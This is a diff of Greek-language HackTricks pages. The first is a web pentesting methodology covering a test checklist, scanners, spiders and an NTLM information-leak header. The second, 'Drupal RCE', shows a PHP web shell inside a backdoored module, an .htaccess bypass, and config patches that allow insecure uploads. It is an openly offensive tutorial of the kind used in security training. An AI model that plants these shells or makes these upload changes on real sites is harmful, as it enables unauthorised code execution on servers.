* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Basic Info
|
||||
|
||||
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλοί **διαφορετικοί τύποι ευπαθειών**.
|
||||
Η υπηρεσία ιστού είναι η πιο **συνηθισμένη και εκτενή υπηρεσία** και υπάρχουν πολλές **διαφορετικοί τύποι ευπαθειών**.
|
||||
|
||||
**Προεπιλεγμένη θύρα:** 80 (HTTP), 443(HTTPS)
|
||||
**Default port:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
|
@ -49,7 +49,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
|
||||
* [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
|
||||
* [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
|
||||
* [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
|
||||
* [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
|
||||
* [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
|
||||
* [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
|
||||
* [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
|
||||
|
@ -83,7 +83,7 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
|
|||
|
||||
### Τεχνάσματα διαδικτύου
|
||||
|
||||
Ορισμένα **τεχνάσματα** για **εύρεση ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
|
||||
Ορισμένα **τεχνάσματα** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
|
||||
|
||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
* [**Apache**](apache.md)
|
||||
|
@ -120,9 +120,9 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
|
|||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
|
||||
Αν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **αναζητήσετε στο Διαδίκτυο** νέες τεχνικές (και ενημερώστε με!).
|
||||
|
||||
### Ανασκόπηση Κώδικα
|
||||
### Ανασκόπηση Πηγαίου Κώδικα
|
||||
|
||||
Αν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
|
||||
* Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου;
|
||||
* Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
|
||||
|
@ -151,7 +151,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMS scanners
|
||||
|
||||
Αν χρησιμοποιείται ένα CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ζουμερό:
|
||||
Αν χρησιμοποιείται ένα CMS μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρείτε κάτι ενδιαφέρον:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** ιστοσελίδες για θέματα Ασφαλείας. (GUI)\
|
||||
|
@ -197,12 +197,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
* **Brute Force** διαπιστευτήρια
|
||||
* **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
|
||||
### **Ευπάθειες SSL/TLS**
|
||||
### **SSL/TLS ευπάθειες**
|
||||
|
||||
* Αν η εφαρμογή **δεν αναγκάζει τον χρήστη σε HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
* Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
|
||||
* Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
|
||||
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv**](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -218,19 +218,19 @@ Information about SSL/TLS vulnerabilities:
|
|||
|
||||
### Spidering
|
||||
|
||||
Λανσάρετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
|
||||
Λάβετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για αρχεία JS και Archive.org ως εξωτερική πηγή.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλά να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλώς να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο σε HTML πηγή όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
|
||||
|
@ -238,12 +238,12 @@ Information about SSL/TLS vulnerabilities:
|
|||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το .js.map URL θα σας δώσει τον beautified JS κώδικα.
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη wayback και αναζητώντας περισσότερους συνδέσμους).
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes.
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφερόντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
|
||||
* [**katana**](https://github.com/projectdiscovery/katana) (go): Καταπληκτικό εργαλείο για αυτό.
|
||||
* [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε σύνδεσμο που μπορεί να βρει.
|
||||
|
@ -283,7 +283,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να υποβληθεί σε Brute-Force._
|
||||
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
|
@ -302,13 +302,13 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
|||
|
||||
### Special findings
|
||||
|
||||
**Κατά τη διάρκεια** της **spidering** και του **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
**Ενώ** εκτελείτε το **spidering** και **brute-forcing** μπορεί να βρείτε **ενδιαφέροντα** **πράγματα** που πρέπει να **σημειώσετε**.
|
||||
|
||||
**Ενδιαφέροντα αρχεία**
|
||||
|
||||
* Αναζητήστε **συνδέσμους** σε άλλα αρχεία μέσα στα **CSS** αρχεία.
|
||||
* [Αν βρείτε ένα _**.git**_ αρχείο, μπορεί να εξαχθεί κάποια πληροφορία](git.md).
|
||||
* Αν βρείτε ένα _**.env**_, πληροφορίες όπως api keys, κωδικοί βάσεων δεδομένων και άλλες πληροφορίες μπορεί να βρεθούν.
|
||||
* [Αν βρείτε ένα _**.git**_ αρχείο μπορεί να εξαχθεί κάποια πληροφορία](git.md).
|
||||
* Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
|
||||
* Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
|
||||
* **JS αρχεία**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
|
||||
|
@ -331,7 +331,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
|||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
Αν ο τρέχων server που ζητάει αυθεντικοποίηση είναι **Windows** ή βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
|
||||
**Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
|
||||
Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
|
@ -347,7 +347,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
|||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Βρείτε περισσότερες πληροφορίες σχετικά με τις web ευπάθειες στο:
|
||||
Βρείτε περισσότερες πληροφορίες σχετικά με τις web vulns στο:
|
||||
|
||||
* [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
* [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
|
||||
|
@ -357,9 +357,9 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
|
|||
|
||||
Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) για να παρακολουθείτε σελίδες για τροποποιήσεις που μπορεί να εισάγουν ευπάθειες.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
|
||||
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Drupal RCE
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,7 +47,7 @@ curl http://drupal-site.local/node/3
|
|||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Αφού κατεβεί, πηγαίνετε στο **`Administration`** > **`Reports`** > **`Available updates`**.
|
||||
3. Κάντε κλικ στο **`Browse`**, επιλέξτε το αρχείο από τον φάκελο που το κατεβάσατε και στη συνέχεια κάντε κλικ στο **`Install`**.
|
||||
4. Αφού εγκατασταθεί το module, μπορούμε να κάνουμε κλικ στο **`Content`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με το πώς κάναμε στο παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι **έχετε επιλέξει `PHP code` από το αναπτυσσόμενο μενού `Text format`**.
|
||||
4. Αφού εγκατασταθεί το module, μπορείτε να κάνετε κλικ στο **`Content`** και **να δημιουργήσετε μια νέα βασική σελίδα**, παρόμοια με το πώς κάναμε στο παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι **έχετε επιλέξει `PHP code` από το αναπτυσσόμενο μενού `Text format`**.
|
||||
|
||||
## Backdoored Module
|
||||
|
||||
|
@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
|
|||
system($_GET["cmd"]);
|
||||
?>
|
||||
```
|
||||
* Στη συνέχεια, πρέπει να δημιουργήσουμε ένα **`.htaccess`** αρχείο για να αποκτήσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο καθώς το Drupal αρνείται την άμεση πρόσβαση στον φάκελο **`/modules`**.
|
||||
* Στη συνέχεια, πρέπει να δημιουργήσουμε ένα **`.htaccess`** αρχείο για να αποκτήσουμε πρόσβαση στον φάκελο. Αυτό είναι απαραίτητο καθώς το Drupal αρνείται άμεση πρόσβαση στον φάκελο **`/modules`**.
|
||||
```html
|
||||
<IfModule mod_rewrite.c>
|
||||
RewriteEngine On
|
||||
|
@ -89,17 +89,17 @@ tar cvf captcha.tar.gz captcha/
|
|||
|
||||
### Μέρος 1 (ενεργοποίηση του _Media_ και _Media Library_)
|
||||
|
||||
Στο μενού _Extend_ (/admin/modules), μπορείτε να ενεργοποιήσετε αυτά που φαίνεται να είναι ήδη εγκατεστημένα πρόσθετα. Από προεπιλογή, τα πρόσθετα _Media_ και _Media Library_ δεν φαίνεται να είναι ενεργοποιημένα, οπότε ας τα ενεργοποιήσουμε.
|
||||
Στο μενού _Extend_ (/admin/modules), μπορείτε να ενεργοποιήσετε αυτά που φαίνονται ως πρόσθετα που είναι ήδη εγκατεστημένα. Από προεπιλογή, τα πρόσθετα _Media_ και _Media Library_ δεν φαίνεται να είναι ενεργοποιημένα, οπότε ας τα ενεργοποιήσουμε.
|
||||
|
||||
Πριν την ενεργοποίηση:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Μετά την ενεργοποίηση:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Μέρος 2 (εκμετάλλευση της δυνατότητας _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
|
@ -122,7 +122,7 @@ allow_insecure_uploads: false
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Για:
|
||||
|
||||
|
@ -136,13 +136,13 @@ allow_insecure_uploads: true
|
|||
...
|
||||
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Διόρθωση field.field.media.document.field\_media\_document.yml**
|
||||
**Patch field.field.media.document.field\_media\_document.yml**
|
||||
|
||||
Στη συνέχεια, διόρθωσε την δεύτερη καταχώρηση `file_extensions` από:
|
||||
Στη συνέχεια, διορθώστε την δεύτερη καταχώρηση `file_extensions` από:
|
||||
|
||||
Αρχείο: field.field.media.document.field\_media\_document.yml
|
||||
File: field.field.media.document.field\_media\_document.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
|
|||
|
||||
...
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Για:
|
||||
|
||||
|
@ -168,7 +168,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
```
|
||||
> Δεν το χρησιμοποιώ σε αυτή την ανάρτηση, αλλά σημειώνεται ότι είναι δυνατόν να οριστεί η είσοδος `file_directory` με αυθαίρετο τρόπο και ότι είναι ευάλωτη σε επίθεση διαδρομής (path traversal) (έτσι μπορούμε να επιστρέψουμε μέσα στο δέντρο συστήματος αρχείων του Drupal).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Μέρος 3 (εκμετάλλευση της δυνατότητας _Προσθήκη Εγγράφου_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
|
@ -194,13 +194,13 @@ php_flag engine on
|
|||
```
|
||||
Γιατί είναι αυτό το κόλπο ωραίο;
|
||||
|
||||
